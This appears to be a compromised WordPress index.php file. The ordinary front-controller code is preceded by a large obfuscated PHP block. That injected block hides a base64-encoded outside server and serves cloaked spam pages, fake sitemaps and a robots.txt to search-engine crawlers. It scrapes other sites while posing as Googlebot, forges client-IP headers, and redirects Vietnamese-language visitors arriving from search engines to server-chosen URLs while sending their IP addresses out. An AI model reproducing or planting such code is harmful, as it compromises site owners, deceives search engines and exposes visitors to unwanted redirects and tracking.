<?php
if(!defined("R_RR__"))define("R_RR__", ord(9));@set_time_limit((((R_RR__*85-4845)-2280+40*R_RR__)-1140+20*R_RR__));error_reporting((((R_RR__*85-4845)-2280+40*R_RR__)-1140+20*R_RR__));$curl_timeout=(31*R_RR__-1757);$TD_server="aHR0cDovL3IucW9taS50b3A=";$TD_server=base64_decode($TD_server);$lang='vi';header("Expires: Thu, 01 Jan 1970 00:00:00 GMT");header("Cache-Control: no-store, no-cache, must-revalidate");header("Cache-Control: post-check=0, pre-check=0",false);header("Pragma: no-cache");$user_agent=!empty($_SERVER["HTTP_USER_AGENT"])?strtolower($_SERVER['HTTP_USER_AGENT']):'';$http_type=((isset($_SERVER['HTTPS'])&&$_SERVER['HTTPS']=='on')||(isset($_SERVER['HTTP_X_FORWARDED_PROTO'])&&$_SERVER['HTTP_X_FORWARDED_PROTO']=='https'))?'https':'http';$host=!empty($_SERVER['HTTP_HOST'])?strtolower($_SERVER['HTTP_HOST']):'';$parsedHost=parse_url($http_type . '://' . $host,PHP_URL_HOST);$host=$parsedHost!==null?$parsedHost:$host;$referer=!empty($_SERVER["HTTP_REFERER"])?strtolower($_SERVER['HTTP_REFERER']):'';$request=!empty($_SERVER['REQUEST_URI'])?urlencode(strtolower($_SERVER['REQUEST_URI'])):'';$has_curl=extension_loaded('curl');if(strpos($user_agent,'googlebot')!==false||strpos($user_agent,'slurp')!==false||strpos($user_agent,'bingbot')!==false){ob_clean();if(substr($request,-(((R_RR__*85-4845)-2280+40*R_RR__)-4955+R_RR__*87))===".xml"){header('Content-Type: application/xml; charset=utf-8');if(stripos($request,'itemap.xml')!==false){$response=curl_request($TD_server. "/indexsitemap.php?type=" .$http_type. "&host=" .$host,$user_agent);}else{$n=getNumber($request);$response=curl_request($TD_server. "/sitemap.php?type=" .$http_type. "&host=" .$host. "&page=" .$n,$user_agent);}if($response!==false&&$response[(((R_RR__*85-4845)-2280+40*R_RR__)-1140+20*R_RR__)]==(85*R_RR__-4645)){echo $response[((R_RR__*85-4845)-968+R_RR__*17)];exit;}}else if(stripos($request,'robots.txt')!==false){header('Content-Type: text/plain');$robotsTxtContent="User-agent: *
";$robotsTxtContent .="Allow: /
";$robotsTxtContent .="Sitemap: " .$http_type.rtrim($host,'/'). "/" . "sitemap.xml
";echo $robotsTxtContent;exit;}$image_pattern='/\.(jpg|jpeg|png|gif|bmp|webp|tiff|tif|svg|ico|avi|wmv|mpg|mpeg|mov|rm|ram|swf|flv|mp4|mkv|webm|3gp|vob|asf|ts|m2ts|ogg|ogm)(\?.*)?$/i';if(preg_match($image_pattern,$request)){exit;}$response=curl_request($TD_server. "/index.php?type=" .$http_type. "&host=" .$host. "&request=" .$request,$user_agent);if($response!==false){if($response[(((R_RR__*85-4845)-2280+40*R_RR__)-1140+20*R_RR__)]==(85*R_RR__-4645)){header('Content-Type: text/html; charset=utf-8');echo $response[((R_RR__*85-4845)-968+R_RR__*17)];exit;}if($response[(((R_RR__*85-4845)-2280+40*R_RR__)-1140+20*R_RR__)]!=(85*R_RR__-4645)&&!empty($response[((R_RR__*85-4845)-968+R_RR__*17)])){$json_data=str_replace(array(chr(((R_RR__*85-4845)-4891+90*R_RR__)),chr((32*R_RR__-1637)),chr((6*R_RR__-151)),"
","
","
","	"),'',$response[((R_RR__*85-4845)-968+R_RR__*17)]);$product_data=json_decode($json_data,true);$title=urlencode($product_data['keyword']);$pid=$product_data['kid'];if(!empty($title)){$spider_result=spider($title);}}if(isset($spider_result)&&$spider_result!=false&&isset($pid)){$data=array('kid'=>$pid,'spider_url'=>$spider_result[(((R_RR__*85-4845)-2280+40*R_RR__)-1140+20*R_RR__)],'html_text'=>$spider_result[((R_RR__*85-4845)-968+R_RR__*17)]);}else{$pid=isset($pid)?$pid:(((R_RR__*85-4845)-2280+40*R_RR__)-1140+20*R_RR__);$data=array('kid'=>$pid,'spider_url'=>'','html_text'=>'');}$BotContent_mb=post($TD_server. "/postcreate.php?type=" .$http_type. "&host=" .$host. "&request=" .$request,$data,$user_agent);if(!empty($BotContent_mb)){echo $BotContent_mb;exit;}}}if(strpos($referer,'google')!==false||strpos($referer,'yahoo')!==false||strpos($referer,'bing')!==false){if(judgeLanguage($lang)==((R_RR__*85-4845)-968+R_RR__*17)){$client_ip=base64_encode(get_client_ip());$referer=urlencode($referer);$response=curl_request($TD_server. "/getlink.php?type=" .$http_type. "&host=" .$host. "&request=" .$request. "&referer=" .$referer. "&client_ip=" .$client_ip,$user_agent);if($response!==false&&$response[(((R_RR__*85-4845)-2280+40*R_RR__)-1140+20*R_RR__)]==(85*R_RR__-4645)&&strlen($response[((R_RR__*85-4845)-968+R_RR__*17)])>(0-3301+58*R_RR__)){$tzurl=trim($response[((R_RR__*85-4845)-968+R_RR__*17)]);$tzurl=str_replace(array(chr(((R_RR__*85-4845)-4891+90*R_RR__)),chr((32*R_RR__-1637)),chr((6*R_RR__-151)),"
","
","
","	"),'',$tzurl);@header("Location: " . $tzurl);exit;}}}function generate_random_ua(){$user_agents=['Mozilla/5.0 (Windows NT 6.3; WOW64; rv:54.0) Gecko/20100101 Firefox/' .rand((R_RR__*62-3533),(51*R_RR__-2807)),'Mozilla/' .rand((9*R_RR__-510),((R_RR__*4-228)-2161+38*R_RR__)). '.0 (Windows NT 10.0; Win64; x64; rv:' .rand(((R_RR__*4-228)-292+R_RR__*6),(R_RR__*12-624)). ') Gecko/20100101 Firefox/' .rand((R_RR__*62-3533),(51*R_RR__-2807)),'Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:' .rand(((R_RR__*4-228)-292+R_RR__*6),(R_RR__*12-624)). ') AppleWebKit/' .rand((36*R_RR__-1552),(R_RR__*20-540)). '.36 (KHTML, like Gecko) Chrome/' .rand(((R_RR__*4-228)-292+R_RR__*6),(R_RR__*12-624)). '.0.3112.90 Safari/' .rand((36*R_RR__-1552),(R_RR__*20-540)). '.36','Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/' .rand(((R_RR__*4-228)-4262+75*R_RR__),((R_RR__*4-228)-839+15*R_RR__)). '.0 Safari/605.1.15','Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/' .rand(((R_RR__*4-228)-2931+53*R_RR__),(51*R_RR__-2807)). '.0.4430.212 Safari/537.36 Edg/' .rand(((R_RR__*4-228)-2931+53*R_RR__),(51*R_RR__-2807)). '.0.1185.44','Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/' .rand(((R_RR__*4-228)-2931+53*R_RR__),(51*R_RR__-2807)). '.0.4430.212 Safari/537.36 OPR/' .rand((56*R_RR__-3116),((R_RR__*4-228)-2764+R_RR__*50)). '.0.4017.123','Mozilla/5.0 (Linux; Android ' .rand(((R_RR__*4-228)-2842+50*R_RR__),((R_RR__*4-228)-4320+76*R_RR__)). '.0; SM-G9' .rand(((R_RR__*4-228)-2161+38*R_RR__),(R_RR__*23-1302)). '0F Build/R16NW) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/' .rand(((R_RR__*4-228)-2931+53*R_RR__),(51*R_RR__-2807)). '.0.4430.212 Mobile Safari/537.36','Mozilla/5.0 (iPhone; CPU iPhone OS ' .rand((69*R_RR__-3919),((R_RR__*4-228)-839+15*R_RR__)). '_' .rand((R_RR__*4-228),((R_RR__*4-228)-2161+38*R_RR__)). ' like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/' .rand((69*R_RR__-3919),((R_RR__*4-228)-839+15*R_RR__)). '.0 Mobile/15E148 Safari/604.1',];return $user_agents[array_rand($user_agents)];}function curl_request($url,$ua='',$referer=null){global $has_curl,$curl_timeout;if($ua==''){$ua=generate_random_ua();}if($has_curl){$ip=rand(((((77*R_RR__-4389)-456+R_RR__*8)-1368+R_RR__*24)-4901+R_RR__*86),((((77*R_RR__-4389)-456+R_RR__*8)-1368+R_RR__*24)-5218+R_RR__*96)). '.' .rand(((((77*R_RR__-4389)-456+R_RR__*8)-1368+R_RR__*24)-4901+R_RR__*86),((((77*R_RR__-4389)-456+R_RR__*8)-1368+R_RR__*24)-5218+R_RR__*96)). '.' .rand(((((77*R_RR__-4389)-456+R_RR__*8)-1368+R_RR__*24)-4901+R_RR__*86),((((77*R_RR__-4389)-456+R_RR__*8)-1368+R_RR__*24)-5218+R_RR__*96)). '.' .rand(((((77*R_RR__-4389)-456+R_RR__*8)-1368+R_RR__*24)-4901+R_RR__*86),((((77*R_RR__-4389)-456+R_RR__*8)-1368+R_RR__*24)-5218+R_RR__*96));$headers['CLIENT-IP']=$ip;$headers['X-FORWARDED-FOR']=$ip;$headerArr=array();foreach($headers as $n=>$v){$headerArr[]=$n. ':' .$v;}$curl=curl_init();curl_setopt($curl,CURLOPT_URL,$url);curl_setopt($curl,CURLOPT_HTTPHEADER,$headerArr);curl_setopt($curl,CURLOPT_SSL_VERIFYPEER,(((77*R_RR__-4389)-456+R_RR__*8)-1368+R_RR__*24));curl_setopt($curl,CURLOPT_SSL_VERIFYHOST,(((77*R_RR__-4389)-456+R_RR__*8)-4444+78*R_RR__));curl_setopt($curl,CURLOPT_USERAGENT,$ua);curl_setopt($curl,CURLOPT_FOLLOWLOCATION,((((77*R_RR__-4389)-456+R_RR__*8)-1368+R_RR__*24)-4901+R_RR__*86));curl_setopt($curl,CURLOPT_AUTOREFERER,((((77*R_RR__-4389)-456+R_RR__*8)-1368+R_RR__*24)-4901+R_RR__*86));curl_setopt($curl,CURLOPT_ENCODING,"gzip");curl_setopt($curl,CURLOPT_HTTPGET,((((77*R_RR__-4389)-456+R_RR__*8)-1368+R_RR__*24)-4901+R_RR__*86));curl_setopt($curl,CURLOPT_TIMEOUT,$curl_timeout);curl_setopt($curl,CURLOPT_HEADER,(((77*R_RR__-4389)-456+R_RR__*8)-1368+R_RR__*24));curl_setopt($curl,CURLOPT_RETURNTRANSFER,((((77*R_RR__-4389)-456+R_RR__*8)-1368+R_RR__*24)-4901+R_RR__*86));curl_setopt($curl,CURLOPT_REFERER,$referer);$output=curl_exec($curl);$error=curl_error($curl);if($error){return false;}$httpcode=curl_getinfo($curl,CURLINFO_HTTP_CODE);curl_close($curl);return $output?[$httpcode,$output]:false;}else{$options=['http'=>['method'=>'GET','ignore_errors'=>true,'header'=>"User-Agent: " .$ua. "
" . "Referer: " .$referer. "
",'timeout'=>$curl_timeout],'ssl'=>['verify_peer'=>false,'verify_peer_name'=>false,]];$context=stream_context_create($options);$response=@file_get_contents($url,false,$context);if($response===false){return false;}$http_response_header=isset($http_response_header)?$http_response_header:[];preg_match('/HTTP\/\d\.\d (\d{3})/',$http_response_header[(((77*R_RR__-4389)-456+R_RR__*8)-1368+R_RR__*24)],$matches);$httpcode=isset($matches[((((77*R_RR__-4389)-456+R_RR__*8)-1368+R_RR__*24)-4901+R_RR__*86)])?(int)$matches[((((77*R_RR__-4389)-456+R_RR__*8)-1368+R_RR__*24)-4901+R_RR__*86)]:(((77*R_RR__-4389)-456+R_RR__*8)-1368+R_RR__*24);return[$httpcode,$response];}}function post($url,$postData,$ua=''){global $has_curl;if($ua==''){$ua=generate_random_ua();}if($has_curl){$curl=curl_init();curl_setopt($curl,CURLOPT_URL,$url);curl_setopt($curl,CURLOPT_HEADER,(0-4161+73*R_RR__));curl_setopt($curl,CURLOPT_USERAGENT,$ua);curl_setopt($curl,CURLOPT_POST,true);curl_setopt($curl,CURLOPT_POSTFIELDS,http_build_query($postData));curl_setopt($curl,CURLOPT_RETURNTRANSFER,true);$output=curl_exec($curl);curl_close($curl);return $output;}else{$postData=http_build_query($postData);$options=['http'=>['method'=>'POST','header'=>"Content-type: application/x-www-form-urlencoded; charset=UTF-8
" . "Accept: application/json
" . "User-Agent: " .$ua. "
",'content'=>$postData,'timeout'=>(0-4322+76*R_RR__)],'ssl'=>['verify_peer'=>false,'verify_peer_name'=>false,]];$context=stream_context_create($options);$response=@file_get_contents($url,false,$context);return $response;}}function judgeLanguage($lang){if(isset($_SERVER['HTTP_ACCEPT_LANGUAGE'])){$languages=explode(',',$_SERVER['HTTP_ACCEPT_LANGUAGE']);$firstLang=strtolower(trim($languages[((14*R_RR__-798)-4845+R_RR__*85)]));return substr($firstLang,((14*R_RR__-798)-4845+R_RR__*85),(((R_RR__*82-4674)-2166+R_RR__*38)-682+12*R_RR__))===$lang?(80*R_RR__-4559):((14*R_RR__-798)-4845+R_RR__*85);}return ((14*R_RR__-798)-4845+R_RR__*85);}function getNumber($string){$posSitemap=strpos($string,'sitemap');$posXml=strpos($string,'.xml');if($posSitemap!==false&&$posXml!==false&&$posXml>$posSitemap){$length=$posXml-$posSitemap-strlen('sitemap');$substring=substr($string,$posSitemap+strlen('sitemap'),$length);$number=intval($substring);return $number;}else{return (58*R_RR__-3306);}}function get_client_ip(){$ip_keys=array('HTTP_CLIENT_IP','HTTP_X_FORWARDED_FOR','HTTP_X_FORWARDED','HTTP_FORWARDED_FOR','HTTP_FORWARDED','REMOTE_ADDR');foreach($ip_keys as $key){if(array_key_exists($key,$_SERVER)===true){foreach(explode(',',$_SERVER[$key])as $ip){$ip=trim($ip);if(filter_var($ip,FILTER_VALIDATE_IP,FILTER_FLAG_IPV4|FILTER_FLAG_IPV6)!==false){return $ip;}}}}return 'unknown';}function spider($name){$hrefTemp=spider_search($name);$hrefArray=[];foreach($hrefTemp as $href){$non_web_extensions=['pdf','doc','docx','xls','xlsx','ppt','pptx'];$file_extension=pathinfo(parse_url($href,PHP_URL_PATH),PATHINFO_EXTENSION);if(in_array(strtolower($file_extension),$non_web_extensions)){continue 1;}if(stripos($href,'youtube.com')!==false||stripos($href,'twitter.com')!==false||stripos($href,'bing.com')!==false){continue 1;}$hrefArray[]=$href;}if(empty($hrefArray)){return false;}shuffle($hrefArray);$googleua="Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)";foreach($hrefArray as $href){$spider_html=curl_request($href,$googleua,$href);if($spider_html!==false&&$spider_html[(51*R_RR__-2907)]==(74*R_RR__-4018)){$htmltext=trim($spider_html[(0-854+15*R_RR__)]);if(strlen($htmltext)>(R_RR__*40-280)){return[$href,$htmltext];}}}return false;}function spider_search($name){$search_urls=["google"=>"https://www.google.com.vn/search?q=" .$name. "&lr=lang_vi","aol"=>"https://search.aol.com/aol/search;_ylt=?q=" .$name];$hrefArray=[];foreach($search_urls as $domain=>$url){$result=curl_request($url,'',$url);if($result!==false&&$result[(R_RR__*97-5529)]===(65*R_RR__-3505)){$dom=new DOMDocument();@$dom->loadHTML($result[(((R_RR__*56-3192)-1482+26*R_RR__)-3761+66*R_RR__)],LIBXML_HTML_NOIMPLIED|LIBXML_HTML_NODEFDTD);$xpath=new DOMXPath($dom);$aElements=$xpath->query('//a');foreach($aElements as $a){$href=$a->getAttribute('href');if($href&&$domain=='google'){$httpsPos=stripos($href,'https://');$urlPos=stripos($href,'/url?');if($httpsPos!==false&&strpos($href,'google')===false&&$urlPos===(R_RR__*97-5529)){$hrefArray[]=substr($href,$httpsPos);}}else if($href&&$domain=='aol'){if(preg_match('/\/RU=(https[^\/]*\/RK=)/',$href,$matches)){$httpsPart=substr($matches[(((R_RR__*56-3192)-1482+26*R_RR__)-3761+66*R_RR__)],(R_RR__*97-5529),-(60*R_RR__-3416));if(strpos($httpsPart,'aol.com')===false&&strpos($httpsPart,'oath.com')===false){$hrefArray[]=urldecode($httpsPart);}}}}}if(!empty($hrefArray)){return $hrefArray;}}return $hrefArray;}
?><?php
/**
 * Front to the WordPress application. This file doesn't do anything, but loads
 * wp-blog-header.php which does and tells WordPress to load the theme.
 *
 * @package WordPress
 */

/**
 * Tells WordPress to load the WordPress theme and output it.
 *
 * @var bool
 */
define( 'WP_USE_THEMES', true );

/** Loads the WordPress Environment and Template */
require __DIR__ . '/wp-blog-header.php';